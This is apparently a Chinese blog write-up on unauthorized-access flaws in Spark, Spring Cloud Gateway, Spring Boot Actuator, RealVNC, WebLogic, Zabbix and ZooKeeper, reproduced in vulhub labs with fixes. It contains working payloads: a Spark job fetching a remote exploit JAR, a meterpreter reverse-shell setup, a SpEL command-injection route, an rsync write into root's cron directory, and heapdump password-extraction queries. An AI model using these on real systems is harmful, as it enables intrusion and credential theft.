[root@localhost tmp]# rsync -av shell  rsync://192.168.32.183:873/src/etc/cron.d/root
sending incremental file list
shellsent 146 bytes  received 35 bytes  362.00 bytes/sec
total size is 55  speedup is 0.30

Spark 未授權訪問漏洞

漏洞描述

Apache Spark是一款集群計算系統,其支持用戶向管理節點提交應用,并分發給集群執行。如果管理節點未啟動訪問控制,攻擊者可以在集群中執行任意代碼。該漏洞的本質是未授權用戶可以向Master節點提交一個應用,Master節點會分發給Slave節點執行應用。如果應用中包含惡意代碼,會導致任意代碼執行,威脅Spark集群整體的安全性。

環境搭建

git clone https://github.com/vulhub/vulhub.git
cd /opt/vulhub-master/spark/unacc/
docker-compose up 

漏洞檢測

環境啟動后,訪問http://your-ip:8080即可看到master的管理頁面,訪問http://your-ip:8081即可看到slave的管理頁面。

該漏洞本質是未授權的用戶可以向管理節點提交一個應用,這個應用實際上是惡意代碼。

提交方式有兩種:

利用REST API

構造payload

POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680{"action": "CreateSubmissionRequest","clientSparkVersion": "2.3.1","appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","environmentVariables": {"SPARK_ENV_LOADED": "1"},"mainClass": "Exploit","sparkProperties": {"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","spark.driver.supervise": "false","spark.app.name": "Exploit","spark.eventLog.enabled": "true","spark.submit.deployMode": "cluster","spark.master": "spark://your-ip:6066"}
}

其中,spark.jars即是編譯好的應用,mainClass是待運行的類,appArgs是傳給應用的參數。

此時訪問http://your-ip:8081 已經加載了exploit.jar

返回的包中有submissionId(driver-20220516074753-0000),然后訪問http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看執行結果:

利用submissions網關(集成在7077端口中)

如果6066端口不能訪問,或做了權限控制,我們可以利用master的主端口7077,來提交應用。

方法是利用Apache Spark自帶的腳本bin/spark-submit

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

如果你指定的master參數是rest服務器,這個腳本會先嘗試使用rest api來提交應用;如果發現不是rest服務器,則會降級到使用submission gateway來提交應用。

查看結果的方式與前面一致。

MSF

msf5>use exploit/linux/http/spark_unauth_rce 
msf5>set payload java/meterpreter/reverse_tcp 
msf5>set rhost 192.168.100.2 
msf5>set rport 6066 
msf5>set lhost 192.168.100.1 
msf5>set lport 4444 
msf5>set srvhost 192.168.100.1 
msf5>set srvport 8080 
msf5>exploit

修復方案

創建認證filter對應的jar包

在idea中通過maven編譯源碼方式。

添加maven依賴

創建maven項目后,pom.xml添加如下依賴:

 <dependencies><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.10</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.35</version></dependency><!-- logback 依賴 --><dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.2.3</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version><scope>provided</scope></dependency><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.11</version></dependency></dependencies>

創建com.demo包

package com.demo;import org.apache.commons.codec.binary.Base64;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.StringTokenizer;public class SparkAuthFilter implements Filter {/*** Logger*/private static final Logger LOG = LoggerFactory.getLogger(SparkAuthFilter.class);private String username = "";private String password = "";private String realm = "Protected";@Overridepublic void init(FilterConfig filterConfig) throws ServletException {username = filterConfig.getInitParameter("username");password = filterConfig.getInitParameter("password");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {HttpServletRequest request = (HttpServletRequest) servletRequest;HttpServletResponse response = (HttpServletResponse) servletResponse;String authHeader = request.getHeader("Authorization");if (authHeader != null) {StringTokenizer st = new StringTokenizer(authHeader);if (st.hasMoreTokens()) {String basic = st.nextToken();if (basic.equalsIgnoreCase("Basic")) {try {String credentials = new String(Base64.decodeBase64(st.nextToken()), "UTF-8");LOG.debug("Credentials: " + credentials);int p = credentials.indexOf(":");if (p != -1) {String _username = credentials.substring(0, p).trim();String _password = credentials.substring(p + 1).trim();if (!username.equals(_username) || !password.equals(_password)) {unauthorized(response, "Bad credentials");}filterChain.doFilter(servletRequest, servletResponse);} else {unauthorized(response, "Invalid authentication token");}} catch (UnsupportedEncodingException e) {throw new Error("Couldn't retrieve authentication", e);}}}} else {unauthorized(response);}}@Overridepublic void destroy() {}private void unauthorized(HttpServletResponse response, String message) throws IOException {response.setHeader("WWW-Authenticate", "Basic realm=\"" + realm + "\"");response.sendError(401, message);}private void unauthorized(HttpServletResponse response) throws IOException {unauthorized(response, "Unauthorized");}public static void main(String[] args) {}}

這段代碼是一個 Java 的 Servlet Filter 類,名為 SparkAuthFilter。該類實現了 Filter 接口,在接收 HTTP 請求時可以對請求進行認證,并決定是否允許該請求繼續向下傳遞。

在 Filter 初始化時,可以從配置中讀取 username 和 password,并賦值到類的實例變量中。

對于每一個請求,程序會檢查請求的 Authorization header 是否存在,并判斷是否是 Basic 認證方式。如果是,程序會對 header 中的認證憑證進行解碼,并與 username 和 password 進行比較,如果一致則允許請求繼續,否則返回 401 Unauthorized。

在返回 401 Unauthorized 時,程序會在 HTTP 響應的 WWW-Authenticate header 中加入認證需要使用的 realm 信息。

使用maven進行編譯,編譯的jar包在target目錄下面。

執行配置
  1. 將jar包上傳到spark的jars目錄。
  2. spark-defaults.conf配置文件中,增加如下配置:
spark.ui.filters=com.demo.SparkAuthFilter
spark.com.demo.SparkAuthFilter.param.username=test
spark.com.demo.SparkAuthFilter.param.password=password
spark.acls.enable=true

重啟spark集群

[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh

Spring Cloud Gateway Server 未授權訪問漏洞

漏洞描述

Spring Cloud Gateway是Spring中的一個API網關。其3.1.0及3.0.6版本(包含)以前存在一處SpEL表達式注入漏洞,當攻擊者可以訪問Actuator API的情況下,將可以利用該漏洞執行任意命令。

環境搭建

執行如下命令啟動一個使用了Spring Cloud Gateway 3.1.0的Web服務:

docker-compose up -d

服務啟動后,訪問http://your-ip:8080即可看到演示頁面,這個頁面的上游就是example.com。

漏洞復現

利用這個漏洞需要分多步。

首先,發送如下數據包即可添加一個包含惡意SpEL表達式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

然后,發送如下數據包應用剛添加的路由。這個數據包將觸發SpEL表達式的執行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

發送如下數據包即可查看執行結果:

最后,發送如下數據包清理現場,刪除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

再刷新下路由:

SpringBoot Actuator未授權訪問漏洞

簡介

Spring Boot Actuator是Spring Boot項目中的一個模塊,它提供了一組用于監控和管理Spring Boot應用程序的端點。這些端點可以用來檢索應用程序的運行狀態、查看應用程序的統計數據、查看應用程序中的配置信息等。

此外,還可以使用Actuator執行一些安全操作,如關閉應用程序。使用Actuator可以更好的監控、管理和維護Spring Boot應用程序。

其中以下是它端點:

Http路徑描述
get/autoconfig提供了一份自動配置報告,記錄哪些自動配置條件通過了,哪些沒通過
get/configprops描述配置屬性(包含默認值)如何注入 Bean
get/beans描述應用程序上下文里全部的 Bean,以及它們的關系
get/dump獲取線程活動的快照
get/env獲取全部環境屬性
get/env/{name}根據名稱獲取特定的環境屬性值
get/health報告應用程序的健康指標,這些值由 HealthIndicator 的實現類提供
get/info獲取應用程序的定制信息,這些信息由 info 打頭的屬性提供
get/mappings描述全部的 URI 路徑,以及它們和控制器(包含 Actuator 端點)的映射關系
get/metrics報告各種應用程序度量信息,比如內存用量和 HTTP 請求計數
get/metrics/{name}報告指定名稱的應用程序度量值
post/shutdown關閉應用程序,要求 endpoints.shutdown.enabled 設置為 true(默認為 false)
get/trace提供基本的 HTTP 請求跟蹤信息(時間戳、HTTP 頭等)
get/heapdump獲取正在運行的JVM的堆轉儲

環境搭建

SpringBoot Actuator未授權訪問漏洞分為1.x版本和2.x版本。

srpingboot 2.x

下載demo代碼

git clone https://github.com/callicoder/spring-boot-actuator-demo.git

maven將項目代碼構建成jar包。

mvn package

啟動Spring Boot應用程序

java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar

瀏覽器訪問: http://localhost:8080.

srpingboot 1.x

使用IDEA新建一個maven項目。修改pom.xml,聲明了一個父級依賴關系,表示該項目依賴于Spring Boot的spring-boot-starter-parent項目,版本為1.4.6.RELEASE。

    <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>1.4.6.RELEASE</version></parent><!-- Add typical dependencies for a web application --><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build>

新增測試文件:\src\main\java\Example.java

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;@RestController
@EnableAutoConfiguration
public class Example {@RequestMapping("/")String home() {return "Hello World!";}public static void main(String[] args) throws Exception {SpringApplication.run(Example.class, args);}}

修改application.properties

endpoints.beans.enabled=true
spring.redis.password=123456

漏洞復現

srpingboot 2.x

訪問/info接口,泄露springboot項目信息。

訪問/env接口,泄露springboot環境變量信息。

springboot 1.x

訪問/metrics接口,顯示應用的信息。

訪問/trace接口,顯示訪問數據包具體信息。

heapdump泄露讀取

Spring Boot Actuator的堆轉儲功能如果沒有適當的配置,可能是一個安全漏洞。它允許通過URL獲取正在運行的JVM的堆轉儲,其中可能包含敏感信息。

訪問/heapdump接口下載heapdump文件。

jvisualvm分析

JVisualVM是由Oracle提供的Java可視化和監控工具。它包含在Oracle JDK分發版中,可用于監視和配置Java應用程序,診斷性能問題,并檢查內存使用和堆轉儲。

JVisualVM提供了各種功能,包括:

  • 監控JVM性能、內存使用和線程
  • 配置Java應用程序的CPU和內存使用情況
  • 堆轉儲分析和內存泄漏檢測
  • JMX控制臺,用于檢查和管理MBeans

打開jvisualvm.exe

加載heapdump文件

在工具菜單欄點擊插件,安裝OQL插件

構建OQL語句進行關鍵字查詢,從而獲取明文密碼。

Spring boot 1.x版本查詢語句:

select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())

Spring boot 2.x版本查詢語句:

select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())

jhat

JHat是Java堆分析工具。它可以用于分析Java堆轉儲文件,以找出內存泄漏和其他內存問題。并且提供了一個網頁界面,允許用戶瀏覽堆轉儲中的對象,檢查引用關系,檢查內存使用情況等。

使用jhat命令分析heapdump文件,會啟動7000端口web頁面。

訪問7000端口,需要人工搜索關鍵字

heapdump_tool

本質上是基于jhat,通過通過jhat解析heapdump文件,從而實現heapdump敏感信息搜索。

下載鏈接:https://toolaffix.oss-cn-beijing.aliyuncs.com/heapdump_tool.jar

java -jar heapdump_tool.jar  heapdump

選擇1,獲取全部內容

然后輸入關鍵字

查詢方式:

  1. 關鍵詞 例如 password
  2. 字符長度 len=10 獲取長度為10的所有key或者value值
  3. 按順序獲取 num=1-100 獲取順序1-100的字符
    獲取url,file,ip
    geturl 獲取所有字符串中的url
    getfile 獲取所有字符串中的文件路徑文件名
    getip 獲取所有字符串中的ip
    默認不輸出查詢結果非key-value格式的數據,需要獲取所有值,輸入all=true,all=false取消顯示所有值。

mat

Heap Dump也叫堆轉儲文件,是一個Java進程在某個時間點上的內存快照。
可以使用Eclipse MemoryAnalyzer 工具對泄露的heapdump文件進行分析,查詢加載到內存中的明文密碼信息。
獨立版下載地址:http://www.eclipse.org/mat/downloads.php

最新版用Java 11,可以下載歷史版本

spring boot 1.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.Hashtable$Entry 實例的鍵值對中

select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

spring boot 2.x 版本 heapdump 查詢結果,最終結果存儲在 java.util.LinkedHashMap$Entry 實例的鍵值對中:

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

修復建議

springboot 2.x修復方法

禁用接口

application.properties配置文件內改成:management.endpoint.beans.enabled=false

management.endpoint.beans.enabled=false
actuator接口進行鑒權

application.properties

# Spring Security default user name and password
spring.security.user.name=actuator
spring.security.user.password=actuator
spring.security.user.roles=ACTUATOR_ADMIN

如果需要訪問actuator接口,則可以自定義代碼,引用security進行鑒權訪問。

\src\main\java\com\example\actuatordemo\config\ActuatorSecurityConfig.java

package com.example.actuatordemo.config;import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
import org.springframework.boot.actuate.context.ShutdownEndpoint;
import org.springframework.boot.autoconfigure.security.servlet.PathRequest;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {/*This spring security configuration does the following1. Restrict access to the Shutdown endpoint to the ACTUATOR_ADMIN role.2. Allow access to all other actuator endpoints.3. Allow access to static resources.4. Allow access to the home page (/).5. All other requests need to be authenticated.5. Enable http basic authentication to make the configuration complete.You are free to use any other form of authentication.*/@Overrideprotected void configure(HttpSecurity http) throws Exception {http.authorizeRequests()//注釋掉可以對actuator路徑進行鑒權
//                    .requestMatchers(EndpointRequest.to(ShutdownEndpoint.class))
//                        .hasRole("ACTUATOR_ADMIN")
//                    .requestMatchers(EndpointRequest.toAnyEndpoint())
//                        .permitAll().requestMatchers(PathRequest.toStaticResources().atCommonLocations()).permitAll().antMatchers("/", "/slowApi").permitAll().antMatchers("/**").authenticated().and().httpBasic();}
}

此Spring Security配置執行以下操作:

  1. 對Shutdown端點的訪問受限制,僅限于ACTUATOR_ADMIN角色。
  2. 允許對所有其他actuator端點的訪問。
  3. 允許對靜態資源的訪問。
  4. 允許訪問主頁(/)。
  5. 所有其他請求都需要進行身份驗證。
  6. 啟用http基本身份驗證以完成配置。您可以自由使用其他形式的身份驗證。

\src\main\java\com\example\actuatordemo\controller\SampleController.java

package com.example.actuatordemo.controller;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.util.Random;
import java.util.concurrent.TimeUnit;@RestController
public class SampleController {@GetMapping("/")public String sayHello(@RequestParam(value = "name", defaultValue = "Guest") String name) {return "Hello " + name + "!!";}@GetMapping("/slowApi")public String timeConsumingAPI(@RequestParam(value = "delay", defaultValue = "0") Integer delay) throws InterruptedException {if(delay == 0) {Random random = new Random();delay = random.nextInt(10);}TimeUnit.SECONDS.sleep(delay);return "Result";}}

此控制器執行以下操作:

  1. 定義了一個"/ "路徑,返回帶有請求參數名稱的問候語。
  2. 定義了一個"/slowApi"路徑,可以模擬耗時的API請求,可以通過請求參數"delay"指定延遲,如果未指定,則隨機生成延遲。

\src\main\java\com\example\actuatordemo\health\CustomHealthIndicator.java

package com.example.actuatordemo.health;import org.springframework.boot.actuate.health.AbstractHealthIndicator;
import org.springframework.boot.actuate.health.Health;
import org.springframework.stereotype.Component;@Component
public class CustomHealthIndicator extends AbstractHealthIndicator {@Overrideprotected void doHealthCheck(Health.Builder builder) throws Exception {// Use the builder to build the health status details that should be reported.// If you throw an exception, the status will be DOWN with the exception message.builder.up().withDetail("app", "Alive and Kicking").withDetail("error", "Nothing! I'm good.");}
}

這是一個健康指標組件,繼承自AbstractHealthIndicator。

doHealthCheck方法構建健康狀態的詳細信息,如果拋出異常,狀態將是DOWN,并帶有異常信息。

該示例報告應用程序的健康狀態是"Alive and Kicking",錯誤是"Nothing! I’m good."

啟動服務訪問actuator就可以看到需要輸入密碼

springboot 1.x修復方案

禁用接口
#關閉全部接口
endpoints.enabled = false###只開啟某些接口
#endpoints.beans.enabled = true
#endpoints.env.enabled = true
#endpoints.trace.enabled = true
#endpoints.metrics.enabled = true
鑒權

另外也可以引入spring-boot-starter-security依賴

     <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency>

application.properties中指定actuator的端口以及開啟security功能,配置訪問權限驗證,這時再訪問actuator功能時就會彈出登錄窗口,需要輸入賬號密碼驗證后才允許訪問。

management.security.enabled=true
security.user.name=admin
security.user.password=admin

VNC Server 未授權訪問漏洞

CVE-2006-2369

漏洞描述

RealVNC VNC Server是英國RealVNC公司的一個遠程訪問軟件的 VNC 服務器。

RealVNC VNC Server 存在授權問題漏洞,該漏洞源于采用的RFB(遠程幀緩沖區)協議允許客戶端與服務端協商合適的認證方法,協議的實現上存在設計錯誤,遠程攻擊者可以繞過認證無需口令實現對服務器的訪問。

影響范圍

RealVNC <= 4.1.1

環境搭建

win2003系統

下載地址:https://www.filesoul.com/software/RealVNC/4-1-1/download/

進行安裝(一直下一步即可)

漏洞利用

vncviewer 192.168.32.252

防御手段

  • 配置 VNC 客戶端登錄口令認證并配置符合密碼強度要求的密碼。

  • 以最小普通權限身份運行操作系統。

Weblogic 未授權訪問漏洞

漏洞描述

Weblogic是Oracle公司推出的J2EE應用服務器,CVE-2020-14882允許未授權的用戶繞過管理控制臺的權限驗證訪問后臺,CVE-2020-14883允許后臺任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。

漏洞檢測

使用vulhub搭建漏洞演示環境

cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up -d
http://192.168.0.5:7001/console/css/%252e%252e%252fconsole.portal

攻擊者可以構造特殊請求的URL,即可未授權訪問到管理后臺頁面:

遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執行任意代碼。

Zabbix未授權訪問漏洞

漏洞描述

Zabbix存在一個未授權訪問漏洞,通過該漏洞,攻擊者可以在未經授權的情況下訪問Zabbix服務器上的數據,導致敏感信息泄露。

影響版本

Zabbix <= 4.4

環境搭建

docker run -p 10051:10051  -p 80:80 zabbix/zabbix-appliance:ubuntu-4.0.12

漏洞利用

訪問:http://192.168.32.183/zabbix.php?action=problem.view&ddreset=1

訪問:http://192.168.32.183/overview.php?ddreset=1

訪問:http://192.168.32.183/latest.php?ddreset=1

還有以下鏈接可以訪問:

  • https://TARGET/zabbix/zabbix.php?action=dashboard.view
  • https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
  • https://TARGET/zabbix/overview.php?ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
  • https://TARGET/zabbix/latest.php?ddreset=1
  • https://TARGET/zabbix/charts.php?ddreset=1
  • https://TARGET/zabbix/screens.php?ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
  • https://TARGET/zabbix/srv_status.php?ddreset=1
  • https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
  • https://TARGET/zabbix/hostinventories.php?ddreset=1
  • https://TARGET/zabbix/report2.php?ddreset=1
  • https://TARGET/zabbix/toptriggers.php?ddreset=1
  • https://TARGET/zabbix/zabbix.php?action=dashboard.list
  • https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1

ZooKeeper未授權訪問漏洞

漏洞描述

ZooKeeper默認開啟在2181端口,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。

環境搭建

Zookeeper的默認開放端口是2181

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gztar -zxvf zookeepre-3.4.10.tar.gz
cd zookeeper-3.4.10/
cd conf/
vi zoo.cfg
### 配置單機模式
tickTime=2000    
dataDir=/tmp/zookeeper/data    
dataLogDir=/tmp/zookeeper/logs    
clientPort=2181 bin/zkServer.sh start   //啟動
### 啟動client連接server
bin/zkCli.sh -server localhost:2181 

漏洞利用

執行以下命令即可遠程獲取該服務器的環境:

echo envi | nc 192.168.32.131 2181

stat:列出關于性能和連接的客戶端的統計信息。

echo stat |nc 192.168.32.131 2181

ruok:測試服務器是否運行在非錯誤狀態。
echo ruok |ncat 127.0.0.1 2181

reqs:列出未完成的請求。
echo reqs |ncat 127.0.0.1 2181

envi:打印有關服務環境的詳細信息。
echo envi |ncat 127.0.0.1 2181

dump:列出未完成的會話和臨時節點。
echo dump |ncat 127.0.0.1 2181

修復建議

禁止把Zookeeper直接暴露在公網
添加訪問控制,根據情況選擇對應方式(認證用戶,用戶名密碼)

綁定指定IP訪問 (推薦):

1、登陸zookeeper

./zkCli.sh -server <IP>:<port>

2、查看當前權限:

getAcl /

3、添加可訪問IP

setAcl / ip:192.168.1.xx:cdrwa,ip:192.168.1.xx:cdrwa

4、查看是否正常添加

getAcl /

未授權也可以連接,但是查看節點時會報錯KeeperErrorCode = NoAuth for /,localhost都不行,必須填可訪問IP,才能訪問。

[zk: localhost:2181(CONNECTED) 0] ls /
KeeperErrorCode = NoAuth for /
[zk: localhost:2181(CONNECTED) 1] 

回退辦法:
使用之前設置的IP進行訪問:

./zkCli.sh -server <IP>:<port>

設置為所有人可訪問:

setAcl / world:anyone:cdrwa

設置身份驗證

為ZooKeeper配置相應的訪問權限。

1)增加一個認證用戶
addauth digest 用戶名:密碼明文

addauth digest user1:password1 

2)設置權限
setAcl /path auth:用戶名:密碼明文:權限
setAcl /path digest:用戶名:密碼密文:權限

setAcl /test auth:user1:password1:cdrwa 

3)查看Acl設置

getAcl /path 

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/72806.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/72806.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/72806.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python包結構與 `__init__.py` 詳解

1. 什么是 __init__.py&#xff1f; __init__.py 是Python包的標識文件&#xff0c;它告訴Python解釋器這個目錄應該被視為一個包&#xff08;Package&#xff09;。這個文件可以為空&#xff0c;也可以包含初始化代碼。 1.1 基本作用 包的標識 將普通目錄轉換為Python包允許…

Web前端開發——HTML基礎下

HTML語法 一表格1.基本格式2.美化表格合并居中屬性 二表單1.input2.select3.textarea4.button5.date6.color7.checkbox8.radio9.range10.number 一表格 1.基本格式 HTML表格由<table>標簽定義 其中行由<tr>標簽定義&#xff0c;單元格由<td>定義。我們先來…

小程序事件系統 —— 33 事件傳參 - data-*自定義數據

事件傳參&#xff1a;在觸發事件時&#xff0c;將一些數據作為參數傳遞給事件處理函數的過程&#xff0c;就是事件傳參&#xff1b; 在微信小程序中&#xff0c;我們經常會在組件上添加一些自定義數據&#xff0c;然后在事件處理函數中獲取這些自定義數據&#xff0c;從而完成…

安卓設備root檢測與隱藏手段

安卓設備root檢測與隱藏手段 引言 安卓設備的root權限為用戶提供了深度的系統控制能力&#xff0c;但也可能帶來安全風險。因此&#xff0c;許多應用&#xff08;如銀行軟件、游戲和流媒體平臺&#xff09;會主動檢測設備是否被root&#xff0c;并限制其功能。這種對抗催生了ro…

如何在Ubuntu上直接編譯Apache Doris

以下是在 Ubuntu 22.04 上直接編譯 Apache Doris 的完整流程&#xff0c;綜合多個版本和環境的最佳實踐&#xff1a; 注意&#xff1a;Ubuntu的數據盤VMware默認是20G&#xff0c;編譯不夠用&#xff0c;給到50G以上吧 一、環境準備 1. 安裝系統依賴 # 基礎構建工具鏈 apt i…

vuejs相關鏈接和格式化插件推薦

vue官網&#xff1a; https://cn.vuejs.org/ 配合路由設置&#xff1a; https://router.vuejs.org/zh/guide/ element plus (vue3) | element UI (vue2)&#xff1a; https://element-plus.org/zh-CN/#/zh-CN 構建工具vite&#xff1a; https://cn.vitejs.dev/ 右鍵選擇…

IDEA中Git版本回退終極指南:Reset與Revert雙方案詳解

目錄 前言一、版本回退前置知識二、Reset方案&#xff1a;整體改寫歷史1、IDEA圖形化操作&#xff08;推薦&#xff09;1.1、查看提交歷史1.2、選擇目標版本1.3、選擇回退模式1.3.1、Soft&#xff08;推薦&#xff09;1.3.2、Mixed1.3.3、Hard&#xff08;慎用&#xff09;1.3.…

PHP并發請求優化:使用`curl_multi_select()`實現高效的多請求處理

PHP并發請求優化&#xff1a;使用curl_multi_select()實現高效的多請求處理 背景 最近在項目中遇到一個需求&#xff0c;需要從多個 1 級網站&#xff08;超過 200 個&#xff09;獲取數據&#xff0c;并且是通過 POST 請求瞬間發送到這些網站上。開始時我直接使用了 curl_ex…

【leetcode hot 100 206】反轉鏈表

解法一&#xff1a;&#xff08;頭插法&#xff09;在遍歷鏈表時&#xff0c;將當前節點的 next 指針改為指向前一個節點。 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val)…

【QT】-易錯點筆記-2025-2-7

1,QList<phy_simulator*> pList;為空不能append()追加,要先new,再用 QList<phy_simulator> pList為空時,確實不能調用 append() 方法。原因很簡單,QList 是一個類對象,在 C++ 中,指針本身并不代表它指向的對象。因此,當你有一個指向 QList<phy_simulato…

AI-Deepseek + PPT

01--Deepseek提問 首先去Deepseek問一個問題&#xff1a; Deepseek的回答&#xff1a; 在汽車CAN總線通信中&#xff0c;DBC文件里的信號處理&#xff08;如初始值、系數、偏移&#xff09;主要是為了 將原始二進制數據轉換為實際物理值&#xff0c;確保不同電子控制單元&…

實驗一:在Windows 10/11下配置和管理TCP/IP

目錄 1.【實訓目標】 2.【實訓環境】 3.【實訓內容】 4.【實訓步驟】 1.【實訓目標】 1.了解網絡基本配置中包含的協議、服務、客戶端。 2.了解Windows支持的網絡協議及參數設置方法。 3.掌握TCP/IP協議的配置。 2.【實訓環境】 硬件環境&#xff1a;每人一臺計算機&a…

Java直通車系列14【Spring MVC】(深入學習 Controller 編寫)

目錄 基本概念 編寫 Controller 的步驟和要點 1. 定義 Controller 類 2. 映射請求 3. 處理請求參數 4. 調用業務邏輯 5. 返回響應 場景示例 1. 簡單的 Hello World 示例 2. 處理路徑變量和請求參數 3. 處理表單提交 4. 處理 JSON 數據 5. 異常處理 基本概念 Cont…

EA - 開源工程的編譯

文章目錄 EA - 開源工程的編譯概述筆記環境備注x86版本EABase_x86EAAssert_x86EAThread_x86修改 eathread_atomic_standalone_msvc.h原始修改后 EAStdC_x86EASTL_x86EAMain_x86EATest_x86備注備注END EA - 開源工程的編譯 概述 EA開源了‘命令與征服’的游戲源碼 嘗試編譯. 首…

一招解決Pytorch GPU版本安裝慢的問題

Pytorch是一個流行的深度學習框架&#xff0c;廣泛應用于計算機視覺、自然語言處理等領域。安裝Pytorch GPU版本可以充分利用GPU的并行計算能力&#xff0c;加速模型的訓練和推理過程。接下來&#xff0c;我們將詳細介紹如何在Windows操作系統上安裝Pytorch GPU版本。 查看是否…

為解決局域網IP、DNS切換的Windows BAT腳本

一、背景 為解決公司普通人員需要切換IP、DNS的情況&#xff0c;于是搞了個windows下的bat腳本&#xff0c;可以對有線網絡、無線網絡進行切換設置。 腳本內容 echo off title 多網絡接口IP切換工具:menu cls echo echo 請選擇要配置的網絡接口: echo echo 1. 有線網絡&am…

uni_app實現下拉刷新

